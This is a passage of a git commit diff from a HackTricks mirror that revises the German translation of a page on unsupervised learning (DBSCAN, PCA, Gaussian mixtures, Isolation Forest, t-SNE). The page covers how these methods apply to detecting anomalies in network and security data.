mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary
This commit is contained in:
parent
98b5310383
commit
4e1785dced
@ -116,13 +116,13 @@ DBSCAN identifiziert Kernpunkte, Randpunkte und Rauschpunkte:
|
||||
Das Clustering erfolgt, indem ein unbesuchter Kernpunkt ausgewählt, als neues Cluster markiert und dann rekursiv alle Punkte hinzugefügt werden, die von ihm aus dichte-erreichbar sind (Kernpunkte und deren Nachbarn usw.). Randpunkte werden dem Cluster eines nahegelegenen Kerns hinzugefügt. Nachdem alle erreichbaren Punkte erweitert wurden, wechselt DBSCAN zu einem anderen unbesuchten Kern, um ein neues Cluster zu starten. Punkte, die von keinem Kern erreicht werden, bleiben als Rauschen gekennzeichnet.
|
||||
|
||||
> [!TIP]
|
||||
> *Anwendungsfälle in der Cybersicherheit:* DBSCAN ist nützlich zur Anomalieerkennung im Netzwerkverkehr. Beispielsweise könnte die normale Benutzeraktivität ein oder mehrere dichte Cluster im Merkmalsraum bilden, während neuartige Angriffsverhalten als verstreute Punkte erscheinen, die DBSCAN als Rauschen (Ausreißer) kennzeichnen wird. Es wurde verwendet, um Netzwerkflussaufzeichnungen zu clustern, wo es Portscans oder Denial-of-Service-Verkehr als spärliche Regionen von Punkten erkennen kann. Eine weitere Anwendung ist das Gruppieren von Malware-Varianten: Wenn die meisten Proben nach Familien gruppiert sind, aber einige nirgendwo passen, könnten diese wenigen Zero-Day-Malware sein. Die Fähigkeit, Rauschen zu kennzeichnen, bedeutet, dass Sicherheitsteams sich auf die Untersuchung dieser Ausreißer konzentrieren können.
|
||||
> *Anwendungsfälle in der Cybersicherheit:* DBSCAN ist nützlich für die Anomalieerkennung im Netzwerkverkehr. Beispielsweise könnte die normale Benutzeraktivität ein oder mehrere dichte Cluster im Merkmalsraum bilden, während neuartige Angriffsverhalten als verstreute Punkte erscheinen, die DBSCAN als Rauschen (Ausreißer) kennzeichnen wird. Es wurde verwendet, um Netzwerkflussaufzeichnungen zu clustern, wo es Portscans oder Denial-of-Service-Verkehr als spärliche Regionen von Punkten erkennen kann. Eine weitere Anwendung ist das Gruppieren von Malware-Varianten: Wenn die meisten Proben nach Familien gruppiert sind, aber einige nirgendwo passen, könnten diese wenigen Zero-Day-Malware sein. Die Fähigkeit, Rauschen zu kennzeichnen, bedeutet, dass Sicherheitsteams sich auf die Untersuchung dieser Ausreißer konzentrieren können.
|
||||
|
||||
#### Annahmen und Einschränkungen
|
||||
|
||||
**Annahmen & Stärken:** DBSCAN geht nicht von sphärischen Clustern aus – es kann beliebig geformte Cluster finden (sogar kettenartige oder benachbarte Cluster). Es bestimmt automatisch die Anzahl der Cluster basierend auf der Datendichte und kann Ausreißer effektiv als Rauschen identifizieren. Dies macht es leistungsstark für reale Daten mit unregelmäßigen Formen und Rauschen. Es ist robust gegenüber Ausreißern (im Gegensatz zu K-Means, das sie in Cluster zwingt). Es funktioniert gut, wenn Cluster ungefähr eine einheitliche Dichte haben.
|
||||
|
||||
**Einschränkungen:** Die Leistung von DBSCAN hängt von der Wahl geeigneter ε- und MinPts-Werte ab. Es kann Schwierigkeiten mit Daten haben, die variierende Dichten aufweisen – ein einzelnes ε kann sowohl dichte als auch spärliche Cluster nicht berücksichtigen. Wenn ε zu klein ist, kennzeichnet es die meisten Punkte als Rauschen; zu groß, und Cluster können fälschlicherweise zusammengeführt werden. Außerdem kann DBSCAN bei sehr großen Datensätzen ineffizient sein (naiv $O(n^2)$, obwohl räumliche Indizierung helfen kann). In hochdimensionalen Merkmalsräumen kann das Konzept der „Entfernung innerhalb von ε“ weniger sinnvoll werden (der Fluch der Dimensionalität), und DBSCAN benötigt möglicherweise eine sorgfältige Parameteranpassung oder kann scheitern, intuitive Cluster zu finden. Trotz dieser Punkte adressieren Erweiterungen wie HDBSCAN einige Probleme (wie variierende Dichte).
|
||||
**Einschränkungen:** Die Leistung von DBSCAN hängt von der Wahl geeigneter ε- und MinPts-Werte ab. Es kann Schwierigkeiten mit Daten haben, die unterschiedliche Dichten aufweisen – ein einzelnes ε kann sowohl dichte als auch spärliche Cluster nicht berücksichtigen. Wenn ε zu klein ist, kennzeichnet es die meisten Punkte als Rauschen; zu groß, und Cluster können fälschlicherweise zusammengeführt werden. Außerdem kann DBSCAN bei sehr großen Datensätzen ineffizient sein (naiv $O(n^2)$, obwohl räumliche Indizierung helfen kann). In hochdimensionalen Merkmalsräumen kann das Konzept der „Entfernung innerhalb von ε“ weniger sinnvoll werden (der Fluch der Dimensionalität), und DBSCAN benötigt möglicherweise eine sorgfältige Parameteranpassung oder kann scheitern, intuitive Cluster zu finden. Trotz dieser Einschränkungen adressieren Erweiterungen wie HDBSCAN einige Probleme (wie variierende Dichte).
|
||||
|
||||
<details>
|
||||
<summary>Beispiel -- Clustering mit Rauschen
|
||||
@ -162,7 +162,7 @@ PCA funktioniert, indem es die Hauptkomponenten der Daten identifiziert, die die
|
||||
1. **Standardisierung**: Zentrieren Sie die Daten, indem Sie den Mittelwert subtrahieren und sie auf eine Einheitliche Varianz skalieren.
|
||||
2. **Kovarianzmatrix**: Berechnen Sie die Kovarianzmatrix der standardisierten Daten, um die Beziehungen zwischen den Merkmalen zu verstehen.
|
||||
3. **Eigenwertzerlegung**: Führen Sie eine Eigenwertzerlegung der Kovarianzmatrix durch, um die Eigenwerte und Eigenvektoren zu erhalten.
|
||||
4. **Hauptkomponenten auswählen**: Sortieren Sie die Eigenwerte in absteigender Reihenfolge und wählen Sie die obersten K Eigenvektoren aus, die den größten Eigenwerten entsprechen. Diese Eigenvektoren bilden den neuen Merkmalsraum.
|
||||
4. **Hauptkomponenten auswählen**: Sortieren Sie die Eigenwerte in absteigender Reihenfolge und wählen Sie die obersten K-Eigenvektoren aus, die den größten Eigenwerten entsprechen. Diese Eigenvektoren bilden den neuen Merkmalsraum.
|
||||
5. **Daten transformieren**: Projizieren Sie die ursprünglichen Daten auf den neuen Merkmalsraum unter Verwendung der ausgewählten Hauptkomponenten.
|
||||
PCA wird häufig für die Datenvisualisierung, Rauschreduzierung und als Vorverarbeitungsschritt für andere maschinelle Lernalgorithmen verwendet. Es hilft, die Dimensionalität der Daten zu reduzieren, während die wesentliche Struktur erhalten bleibt.
|
||||
|
||||
@ -189,14 +189,14 @@ Lassen Sie uns dies mit einem Beispiel erklären. Stellen Sie sich vor, Sie habe
|
||||
3. **Lösen Sie die Eigenwertgleichung**: Die zu lösende Eigenwertgleichung ist `C * v = λ * v`, wobei C die Kovarianzmatrix, v der Eigenvektor und λ der Eigenwert ist. Sie kann mit Methoden wie:
|
||||
- **Eigenwertzerlegung**: Führen Sie eine Eigenwertzerlegung der Kovarianzmatrix durch, um die Eigenwerte und Eigenvektoren zu erhalten.
|
||||
- **Singulärwertzerlegung (SVD)**: Alternativ können Sie SVD verwenden, um die Datenmatrix in singuläre Werte und Vektoren zu zerlegen, die ebenfalls die Hauptkomponenten liefern können.
|
||||
4. **Hauptkomponenten auswählen**: Sortieren Sie die Eigenwerte in absteigender Reihenfolge und wählen Sie die obersten K Eigenvektoren aus, die den größten Eigenwerten entsprechen. Diese Eigenvektoren repräsentieren die Richtungen der maximalen Varianz in den Daten.
|
||||
4. **Hauptkomponenten auswählen**: Sortieren Sie die Eigenwerte in absteigender Reihenfolge und wählen Sie die obersten K-Eigenvektoren aus, die den größten Eigenwerten entsprechen. Diese Eigenvektoren repräsentieren die Richtungen der maximalen Varianz in den Daten.
|
||||
|
||||
> [!TIP]
|
||||
> *Anwendungsfälle in der Cybersicherheit:* Ein häufiger Einsatz von PCA in der Sicherheit ist die Merkmalsreduktion zur Anomalieerkennung. Beispielsweise kann ein Intrusion-Detection-System mit über 40 Netzwerkmetriken (wie NSL-KDD-Merkmalen) PCA verwenden, um auf eine Handvoll Komponenten zu reduzieren, die Daten für die Visualisierung oder zur Einspeisung in Clusteralgorithmen zusammenfassen. Analysten könnten den Netzwerkverkehr im Raum der ersten beiden Hauptkomponenten darstellen, um zu sehen, ob Angriffe sich vom normalen Verkehr abheben. PCA kann auch helfen, redundante Merkmale (wie gesendete Bytes vs. empfangene Bytes, wenn sie korreliert sind) zu eliminieren, um die Erkennungsalgorithmen robuster und schneller zu machen.
|
||||
> *Anwendungsfälle in der Cybersicherheit:* Ein häufiger Einsatz von PCA in der Sicherheit ist die Merkmalsreduktion zur Anomalieerkennung. Beispielsweise kann ein Intrusion-Detection-System mit über 40 Netzwerkmetriken (wie NSL-KDD-Merkmalen) PCA verwenden, um auf eine Handvoll Komponenten zu reduzieren, die Daten für die Visualisierung zusammenfassen oder in Clusteralgorithmen einspeisen. Analysten könnten den Netzwerkverkehr im Raum der ersten beiden Hauptkomponenten darstellen, um zu sehen, ob Angriffe sich vom normalen Verkehr trennen. PCA kann auch helfen, redundante Merkmale (wie gesendete Bytes vs. empfangene Bytes, wenn sie korreliert sind) zu eliminieren, um die Erkennungsalgorithmen robuster und schneller zu machen.
|
||||
|
||||
#### Annahmen und Einschränkungen
|
||||
|
||||
PCA geht davon aus, dass **Hauptachsen der Varianz sinnvoll sind** – es ist eine lineare Methode, daher erfasst sie lineare Korrelationen in den Daten. Es ist unüberwacht, da es nur die Merkmalskovarianz verwendet. Zu den Vorteilen von PCA gehören Rauschreduzierung (kleinvariante Komponenten entsprechen oft Rauschen) und Dekorrelation der Merkmale. Es ist rechnerisch effizient für mäßig hohe Dimensionen und oft ein nützlicher Vorverarbeitungsschritt für andere Algorithmen (um den Fluch der Dimensionalität zu mildern). Eine Einschränkung ist, dass PCA auf lineare Beziehungen beschränkt ist – es erfasst keine komplexen nichtlinearen Strukturen (während Autoencoder oder t-SNE dies tun könnten). Außerdem können PCA-Komponenten schwer zu interpretieren sein in Bezug auf die ursprünglichen Merkmale (sie sind Kombinationen der ursprünglichen Merkmale). In der Cybersicherheit muss man vorsichtig sein: Ein Angriff, der nur eine subtile Veränderung in einem Merkmal mit niedriger Varianz verursacht, könnte in den obersten PCs nicht sichtbar sein (da PCA die Varianz priorisiert, nicht unbedingt die „Interessantheit“).
|
||||
PCA geht davon aus, dass **Hauptachsen der Varianz sinnvoll sind** – es ist eine lineare Methode, daher erfasst sie lineare Korrelationen in den Daten. Es ist unüberwacht, da es nur die Merkmalskovarianz verwendet. Zu den Vorteilen von PCA gehören Rauschreduzierung (kleinvariante Komponenten entsprechen oft Rauschen) und Dekorrelation der Merkmale. Es ist rechnerisch effizient für mäßig hohe Dimensionen und oft ein nützlicher Vorverarbeitungsschritt für andere Algorithmen (um den Fluch der Dimensionalität zu mildern). Eine Einschränkung ist, dass PCA auf lineare Beziehungen beschränkt ist – es erfasst keine komplexen nichtlinearen Strukturen (während Autoencoder oder t-SNE dies tun könnten). Außerdem können PCA-Komponenten schwer zu interpretieren sein in Bezug auf die ursprünglichen Merkmale (sie sind Kombinationen der ursprünglichen Merkmale). In der Cybersicherheit muss man vorsichtig sein: Ein Angriff, der nur eine subtile Veränderung in einem niedrigvarianten Merkmal verursacht, könnte in den obersten PCs nicht sichtbar sein (da PCA die Varianz priorisiert, nicht unbedingt die „Interessantheit“).
|
||||
|
||||
<details>
|
||||
<summary>Beispiel -- Reduzierung der Dimensionen von Netzwerkdaten
|
||||
@ -229,13 +229,13 @@ Hier haben wir die früheren normalen Verkehrscluster genommen und jeden Datenpu
|
||||
|
||||
### Gaussian Mixture Models (GMM)
|
||||
|
||||
Ein Gaussian Mixture Model geht davon aus, dass Daten aus einer Mischung von **mehreren Gaussian (normalen) Verteilungen mit unbekannten Parametern** generiert werden. Im Wesentlichen handelt es sich um ein probabilistisches Clustering-Modell: Es versucht, jeden Punkt sanft einem der K Gaussian-Komponenten zuzuordnen. Jede Gaussian-Komponente k hat einen Mittelwertvektor (μ_k), eine Kovarianzmatrix (Σ_k) und ein Mischgewicht (π_k), das darstellt, wie verbreitet dieser Cluster ist. Im Gegensatz zu K-Means, das "harte" Zuordnungen vornimmt, gibt GMM jedem Punkt eine Wahrscheinlichkeit, zu jedem Cluster zu gehören.
|
||||
Ein Gaussian Mixture Model geht davon aus, dass Daten aus einer Mischung von **mehreren Gaussian (normalen) Verteilungen mit unbekannten Parametern** generiert werden. Im Wesentlichen handelt es sich um ein probabilistisches Clustering-Modell: Es versucht, jeden Punkt sanft einem der K Gaussian-Komponenten zuzuordnen. Jede Gaussian-Komponente k hat einen Mittelwertvektor (μ_k), eine Kovarianzmatrix (Σ_k) und ein Mischgewicht (π_k), das darstellt, wie verbreitet dieser Cluster ist. Im Gegensatz zu K-Means, das „harte“ Zuordnungen vornimmt, gibt GMM jedem Punkt eine Wahrscheinlichkeit, zu jedem Cluster zu gehören.
|
||||
|
||||
Das Anpassen von GMM erfolgt typischerweise über den Expectation-Maximization (EM)-Algorithmus:
|
||||
|
||||
- **Initialisierung**: Beginnen Sie mit anfänglichen Schätzungen für die Mittelwerte, Kovarianzen und Mischkoeffizienten (oder verwenden Sie die Ergebnisse von K-Means als Ausgangspunkt).
|
||||
|
||||
- **E-Schritt (Erwartung)**: Berechnen Sie die Verantwortung jedes Clusters für jeden Punkt anhand der aktuellen Parameter: im Wesentlichen `r_nk = P(z_k | x_n)`, wobei z_k die latente Variable ist, die die Clusterzugehörigkeit für den Punkt x_n angibt. Dies geschieht unter Verwendung des Satzes von Bayes, wobei wir die posteriori Wahrscheinlichkeit jedes Punktes berechnen, zu jedem Cluster basierend auf den aktuellen Parametern zu gehören. Die Verantwortlichkeiten werden berechnet als:
|
||||
- **E-Schritt (Erwartung)**: Berechnen Sie die Verantwortung jedes Clusters für jeden Punkt anhand der aktuellen Parameter: im Wesentlichen `r_nk = P(z_k | x_n)`, wobei z_k die latente Variable ist, die die Clusterzugehörigkeit für den Punkt x_n angibt. Dies geschieht unter Verwendung des Satzes von Bayes, wobei wir die posteriori Wahrscheinlichkeit jedes Punktes berechnen, zu jedem Cluster basierend auf den aktuellen Parametern zu gehören. Die Verantwortlichkeiten werden wie folgt berechnet:
|
||||
```math
|
||||
r_{nk} = \frac{\pi_k \mathcal{N}(x_n | \mu_k, \Sigma_k)}{\sum_{j=1}^{K} \pi_j \mathcal{N}(x_n | \mu_j, \Sigma_j)}
|
||||
```
|
||||
@ -250,16 +250,16 @@ wobei:
|
||||
|
||||
- **Iterieren** Sie E- und M-Schritte, bis die Konvergenz erreicht ist (Parameter stabilisieren sich oder die Verbesserung der Wahrscheinlichkeit liegt unter einem Schwellenwert).
|
||||
|
||||
Das Ergebnis ist eine Menge von Gaussian-Verteilungen, die zusammen die gesamte Datenverteilung modellieren. Wir können das angepasste GMM verwenden, um zu clustern, indem wir jeden Punkt dem Gaussian mit der höchsten Wahrscheinlichkeit zuweisen oder die Wahrscheinlichkeiten für Unsicherheit beibehalten. Man kann auch die Wahrscheinlichkeit neuer Punkte bewerten, um zu sehen, ob sie zum Modell passen (nützlich für die Anomalieerkennung).
|
||||
Das Ergebnis ist eine Menge von Gaussian-Verteilungen, die gemeinsam die gesamte Datenverteilung modellieren. Wir können das angepasste GMM verwenden, um zu clustern, indem wir jeden Punkt dem Gaussian mit der höchsten Wahrscheinlichkeit zuweisen oder die Wahrscheinlichkeiten für Unsicherheit beibehalten. Man kann auch die Wahrscheinlichkeit neuer Punkte bewerten, um zu sehen, ob sie zum Modell passen (nützlich für die Anomalieerkennung).
|
||||
|
||||
> [!TIP]
|
||||
> *Anwendungsfälle in der Cybersicherheit:* GMM kann zur Anomalieerkennung verwendet werden, indem die Verteilung normaler Daten modelliert wird: Jeder Punkt mit sehr niedriger Wahrscheinlichkeit unter der gelernten Mischung wird als Anomalie markiert. Zum Beispiel könnten Sie ein GMM auf legitimen Netzwerkverkehrsmerkmalen trainieren; eine Angriffsverbindung, die keinem gelernten Cluster ähnelt, hätte eine niedrige Wahrscheinlichkeit. GMMs werden auch verwendet, um Aktivitäten zu clustern, bei denen Cluster unterschiedliche Formen haben könnten – z.B. Benutzer nach Verhaltensprofilen zu gruppieren, wobei die Merkmale jedes Profils Gaussian-ähnlich, aber mit eigener Varianzstruktur sein könnten. Ein weiteres Szenario: Bei der Phishing-Erkennung könnten legitime E-Mail-Merkmale einen Gaussian-Cluster bilden, bekanntes Phishing einen anderen, und neue Phishing-Kampagnen könnten entweder als separater Gaussian oder als Punkte mit niedriger Wahrscheinlichkeit im Verhältnis zur bestehenden Mischung erscheinen.
|
||||
|
||||
#### Annahmen und Einschränkungen
|
||||
|
||||
GMM ist eine Verallgemeinerung von K-Means, die Kovarianz einbezieht, sodass Cluster ellipsoid sein können (nicht nur sphärisch). Es behandelt Cluster unterschiedlicher Größen und Formen, wenn die Kovarianz vollständig ist. Weiches Clustering ist ein Vorteil, wenn die Clustergrenzen unscharf sind – z.B. in der Cybersicherheit könnte ein Ereignis Merkmale mehrerer Angriffsarten aufweisen; GMM kann diese Unsicherheit mit Wahrscheinlichkeiten widerspiegeln. GMM bietet auch eine probabilistische Dichteschätzung der Daten, die nützlich ist, um Ausreißer (Punkte mit niedriger Wahrscheinlichkeit unter allen Mischkomponenten) zu erkennen.
|
||||
GMM ist eine Verallgemeinerung von K-Means, die Kovarianz einbezieht, sodass Cluster ellipsoid sein können (nicht nur sphärisch). Es verarbeitet Cluster unterschiedlicher Größen und Formen, wenn die Kovarianz vollständig ist. Weiches Clustering ist ein Vorteil, wenn die Clustergrenzen unscharf sind – z.B. in der Cybersicherheit könnte ein Ereignis Merkmale mehrerer Angriffsarten aufweisen; GMM kann diese Unsicherheit mit Wahrscheinlichkeiten widerspiegeln. GMM bietet auch eine probabilistische Dichteschätzung der Daten, die nützlich ist, um Ausreißer (Punkte mit niedriger Wahrscheinlichkeit unter allen Mischkomponenten) zu erkennen.
|
||||
|
||||
Auf der negativen Seite erfordert GMM die Angabe der Anzahl der Komponenten K (obwohl man Kriterien wie BIC/AIC verwenden kann, um sie auszuwählen). EM kann manchmal langsam konvergieren oder zu einem lokalen Optimum führen, daher ist die Initialisierung wichtig (oft wird EM mehrfach ausgeführt). Wenn die Daten tatsächlich nicht einer Mischung von Gaussians folgen, kann das Modell schlecht passen. Es besteht auch das Risiko, dass ein Gaussian schrumpft, um nur einen Ausreißer abzudecken (obwohl Regularisierung oder Mindestkovarianzgrenzen dies mildern können).
|
||||
Auf der negativen Seite erfordert GMM die Angabe der Anzahl der Komponenten K (obwohl man Kriterien wie BIC/AIC verwenden kann, um sie auszuwählen). EM kann manchmal langsam konvergieren oder zu einem lokalen Optimum führen, sodass die Initialisierung wichtig ist (oft wird EM mehrfach ausgeführt). Wenn die Daten tatsächlich keiner Mischung von Gaussians folgen, kann das Modell schlecht passen. Es besteht auch das Risiko, dass ein Gaussian schrumpft, um nur einen Ausreißer abzudecken (obwohl Regularisierung oder Mindestkovarianzgrenzen dies mildern können).
|
||||
|
||||
|
||||
<details>
|
||||
@ -283,7 +283,7 @@ log_likelihood = gmm.score_samples(sample_attack)
|
||||
print("Cluster membership probabilities for sample attack:", probs)
|
||||
print("Log-likelihood of sample attack under GMM:", log_likelihood)
|
||||
```
|
||||
In diesem Code trainieren wir ein GMM mit 3 Gaussischen auf dem normalen Verkehr (vorausgesetzt, wir kennen 3 Profile des legitimen Verkehrs). Die Mittelwerte und Kovarianzen, die ausgegeben werden, beschreiben diese Cluster (zum Beispiel könnte ein Mittelwert etwa [50,500] entsprechen, was dem Zentrum eines Clusters entspricht, usw.). Wir testen dann eine verdächtige Verbindung [duration=200, bytes=800]. Die predict_proba gibt die Wahrscheinlichkeit an, dass dieser Punkt zu jedem der 3 Cluster gehört – wir würden erwarten, dass diese Wahrscheinlichkeiten sehr niedrig oder stark verzerrt sind, da [200,800] weit von den normalen Clustern entfernt liegt. Der gesamte score_samples (Log-Likelihood) wird ausgegeben; ein sehr niedriger Wert zeigt an, dass der Punkt nicht gut zum Modell passt, was ihn als Anomalie kennzeichnet. In der Praxis könnte man einen Schwellenwert für die Log-Likelihood (oder für die maximale Wahrscheinlichkeit) festlegen, um zu entscheiden, ob ein Punkt ausreichend unwahrscheinlich ist, um als bösartig betrachtet zu werden. GMM bietet somit eine fundierte Möglichkeit zur Anomalieerkennung und liefert auch weiche Cluster, die Unsicherheit anerkennen.
|
||||
In diesem Code trainieren wir ein GMM mit 3 Gaussiern auf dem normalen Verkehr (vorausgesetzt, wir kennen 3 Profile des legitimen Verkehrs). Die Mittelwerte und Kovarianzen, die ausgegeben werden, beschreiben diese Cluster (zum Beispiel könnte ein Mittelwert etwa [50,500] entsprechen, was dem Zentrum eines Clusters entspricht, usw.). Wir testen dann eine verdächtige Verbindung [duration=200, bytes=800]. Die predict_proba gibt die Wahrscheinlichkeit an, dass dieser Punkt zu jedem der 3 Cluster gehört – wir würden erwarten, dass diese Wahrscheinlichkeiten sehr niedrig oder stark verzerrt sind, da [200,800] weit von den normalen Clustern entfernt liegt. Der gesamte score_samples (Log-Likelihood) wird ausgegeben; ein sehr niedriger Wert zeigt an, dass der Punkt nicht gut zum Modell passt, was ihn als Anomalie kennzeichnet. In der Praxis könnte man einen Schwellenwert für die Log-Likelihood (oder für die maximale Wahrscheinlichkeit) festlegen, um zu entscheiden, ob ein Punkt ausreichend unwahrscheinlich ist, um als bösartig betrachtet zu werden. GMM bietet somit eine fundierte Möglichkeit zur Anomalieerkennung und liefert auch weiche Cluster, die Unsicherheit anerkennen.
|
||||
|
||||
### Isolation Forest
|
||||
|
||||
@ -296,7 +296,7 @@ Die Anomalieerkennung erfolgt durch Beobachtung der Pfadlänge jedes Punktes in
|
||||
|
||||
#### Annahmen und Einschränkungen
|
||||
|
||||
**Vorteile**: Isolation Forest erfordert keine Verteilungsannahme; er zielt direkt auf Isolation ab. Er ist effizient bei hochdimensionalen Daten und großen Datensätzen (lineare Komplexität $O(n\log n)$ für den Aufbau des Waldes), da jeder Baum Punkte nur mit einer Teilmenge von Merkmalen und Splits isoliert. Er neigt dazu, numerische Merkmale gut zu behandeln und kann schneller sein als distanzbasierte Methoden, die $O(n^2)$ sein könnten. Er gibt auch automatisch einen Anomaliewert aus, sodass Sie einen Schwellenwert für Warnungen festlegen können (oder einen Kontaminationsparameter verwenden, um automatisch einen Cutoff basierend auf einem erwarteten Anomalieanteil zu entscheiden).
|
||||
**Vorteile**: Isolation Forest erfordert keine Verteilungsannahme; er zielt direkt auf die Isolation ab. Er ist effizient bei hochdimensionalen Daten und großen Datensätzen (lineare Komplexität $O(n\log n)$ für den Aufbau des Waldes), da jeder Baum Punkte nur mit einer Teilmenge von Merkmalen und Splits isoliert. Er neigt dazu, numerische Merkmale gut zu behandeln und kann schneller sein als distanzbasierte Methoden, die $O(n^2)$ sein könnten. Er gibt auch automatisch einen Anomaliewert aus, sodass Sie einen Schwellenwert für Warnungen festlegen können (oder einen Kontaminationsparameter verwenden, um automatisch einen Cutoff basierend auf einem erwarteten Anomalieanteil zu entscheiden).
|
||||
|
||||
**Einschränkungen**: Aufgrund seiner zufälligen Natur können die Ergebnisse zwischen den Durchläufen leicht variieren (obwohl dies bei ausreichend vielen Bäumen geringfügig ist). Wenn die Daten viele irrelevante Merkmale enthalten oder wenn Anomalien sich in keinem Merkmal stark unterscheiden, könnte die Isolation nicht effektiv sein (zufällige Splits könnten normale Punkte zufällig isolieren – jedoch mildert das Durchschnittt vieler Bäume dies). Außerdem geht der Isolation Forest im Allgemeinen davon aus, dass Anomalien eine kleine Minderheit sind (was in der Regel in Cybersicherheitsszenarien zutrifft).
|
||||
|
||||
@ -320,30 +320,30 @@ print("Isolation Forest predicted labels (first 20):", preds[:20])
|
||||
print("Number of anomalies detected:", np.sum(preds == -1))
|
||||
print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5])
|
||||
```
|
||||
In diesem Code instanziieren wir `IsolationForest` mit 100 Bäumen und setzen `contamination=0.15` (was bedeutet, dass wir etwa 15% Anomalien erwarten; das Modell wird seine Schwelle so setzen, dass ~15% der Punkte markiert werden). Wir passen es an `X_test_if` an, das eine Mischung aus normalen und Angriffs-Punkten enthält (Hinweis: Normalerweise würden Sie es auf Trainingsdaten anpassen und dann `predict` auf neuen Daten verwenden, aber hier zur Veranschaulichung passen wir es an und sagen auf demselben Satz vorher, um die Ergebnisse direkt zu beobachten).
|
||||
In diesem Code instanziieren wir `IsolationForest` mit 100 Bäumen und setzen `contamination=0.15` (was bedeutet, dass wir etwa 15% Anomalien erwarten; das Modell wird seine Schwelle so setzen, dass ~15% der Punkte markiert werden). Wir passen es an `X_test_if` an, das eine Mischung aus normalen und Angriffs-Punkten enthält (Hinweis: Normalerweise würden Sie es auf Trainingsdaten anpassen und dann `predict` auf neuen Daten verwenden, aber hier zur Veranschaulichung passen wir es an und sagen auf demselben Datensatz vorher, um die Ergebnisse direkt zu beobachten).
|
||||
|
||||
Die Ausgabe zeigt die vorhergesagten Labels für die ersten 20 Punkte (wobei -1 Anomalie anzeigt). Wir drucken auch, wie viele Anomalien insgesamt erkannt wurden und einige Beispiel-Anomaliewerte. Wir würden erwarten, dass ungefähr 18 von 120 Punkten mit -1 gekennzeichnet sind (da die Kontamination 15% betrug). Wenn unsere 20 Angriffsmuster tatsächlich die auffälligsten sind, sollten die meisten von ihnen in diesen -1-Vorhersagen erscheinen. Der Anomaliewert (die Entscheidungsfunktion des Isolation Forest) ist höher für normale Punkte und niedriger (negativer) für Anomalien – wir drucken einige Werte aus, um die Trennung zu sehen. In der Praxis könnte man die Daten nach Wert sortieren, um die auffälligsten Ausreißer zu sehen und sie zu untersuchen. Isolation Forest bietet somit eine effiziente Möglichkeit, große unbeschriftete Sicherheitsdaten zu durchsuchen und die unregelmäßigsten Instanzen für die menschliche Analyse oder weitere automatisierte Überprüfung herauszufiltern.
|
||||
Die Ausgabe zeigt die vorhergesagten Labels für die ersten 20 Punkte (wobei -1 Anomalie anzeigt). Wir drucken auch, wie viele Anomalien insgesamt erkannt wurden, und einige Beispiel-Anomaliewerte. Wir würden erwarten, dass ungefähr 18 von 120 Punkten mit -1 gekennzeichnet sind (da die Kontamination 15% betrug). Wenn unsere 20 Angriffsmuster tatsächlich die auffälligsten sind, sollten die meisten von ihnen in diesen -1-Vorhersagen erscheinen. Der Anomaliewert (die Entscheidungsfunktion des Isolation Forest) ist höher für normale Punkte und niedriger (negativer) für Anomalien – wir drucken einige Werte aus, um die Trennung zu sehen. In der Praxis könnte man die Daten nach Wert sortieren, um die auffälligsten Ausreißer zu sehen und sie zu untersuchen. Isolation Forest bietet somit eine effiziente Möglichkeit, große unbeschriftete Sicherheitsdaten zu durchsuchen und die unregelmäßigsten Instanzen für die menschliche Analyse oder weitere automatisierte Überprüfung herauszufiltern.
|
||||
|
||||
### t-SNE (t-Distributed Stochastic Neighbor Embedding)
|
||||
|
||||
**t-SNE** ist eine nichtlineare Dimensionsreduktionsmethode, die speziell für die Visualisierung hochdimensionaler Daten in 2 oder 3 Dimensionen entwickelt wurde. Es wandelt Ähnlichkeiten zwischen Datenpunkten in gemeinsame Wahrscheinlichkeitsverteilungen um und versucht, die Struktur lokaler Nachbarschaften in der niederdimensionalen Projektion zu bewahren. Einfacher ausgedrückt platziert t-SNE Punkte in (sagen wir) 2D, sodass ähnliche Punkte (im ursprünglichen Raum) nahe beieinander und unähnliche Punkte mit hoher Wahrscheinlichkeit weit auseinander liegen.
|
||||
**t-SNE** ist eine nichtlineare Technik zur Dimensionsreduktion, die speziell für die Visualisierung hochdimensionaler Daten in 2 oder 3 Dimensionen entwickelt wurde. Es wandelt Ähnlichkeiten zwischen Datenpunkten in gemeinsame Wahrscheinlichkeitsverteilungen um und versucht, die Struktur lokaler Nachbarschaften in der niederdimensionalen Projektion zu bewahren. Einfacher ausgedrückt platziert t-SNE Punkte in (sagen wir) 2D, sodass ähnliche Punkte (im ursprünglichen Raum) nahe beieinander und unähnliche Punkte mit hoher Wahrscheinlichkeit weit voneinander entfernt sind.
|
||||
|
||||
Der Algorithmus hat zwei Hauptphasen:
|
||||
|
||||
1. **Berechnung paarweiser Affinitäten im hochdimensionalen Raum:** Für jedes Punktpaar berechnet t-SNE eine Wahrscheinlichkeit, dass man dieses Paar als Nachbarn auswählen würde (dies geschieht, indem eine Gaußsche Verteilung auf jeden Punkt zentriert und Abstände gemessen werden – der Perplexitätsparameter beeinflusst die effektive Anzahl der berücksichtigten Nachbarn).
|
||||
2. **Berechnung paarweiser Affinitäten im niederdimensionalen (z.B. 2D) Raum:** Zunächst werden die Punkte zufällig in 2D platziert. t-SNE definiert eine ähnliche Wahrscheinlichkeit für Abstände in dieser Karte (unter Verwendung eines Student-t-Verteilungskernels, der schwerere Schwänze als Gauß hat, um entfernten Punkten mehr Freiheit zu geben).
|
||||
3. **Gradientenabstieg:** t-SNE bewegt dann iterativ die Punkte in 2D, um die Kullback-Leibler (KL) Divergenz zwischen der hochdimensionalen Affinitätsverteilung und der niederdimensionalen zu minimieren. Dies bewirkt, dass die 2D-Anordnung die hochdimensionale Struktur so gut wie möglich widerspiegelt – Punkte, die im ursprünglichen Raum nahe beieinander lagen, ziehen sich an, und solche, die weit auseinander liegen, stoßen sich ab, bis ein Gleichgewicht gefunden ist.
|
||||
3. **Gradientenabstieg:** t-SNE bewegt dann iterativ die Punkte in 2D, um die Kullback-Leibler (KL)-Divergenz zwischen der hochdimensionalen Affinitätsverteilung und der niederdimensionalen zu minimieren. Dies bewirkt, dass die 2D-Anordnung die hochdimensionale Struktur so gut wie möglich widerspiegelt – Punkte, die im ursprünglichen Raum nahe beieinander lagen, ziehen sich an, und solche, die weit auseinander liegen, stoßen sich ab, bis ein Gleichgewicht gefunden ist.
|
||||
|
||||
Das Ergebnis ist oft ein visuell bedeutungsvolles Streudiagramm, in dem Cluster in den Daten offensichtlich werden.
|
||||
|
||||
> [!TIP]
|
||||
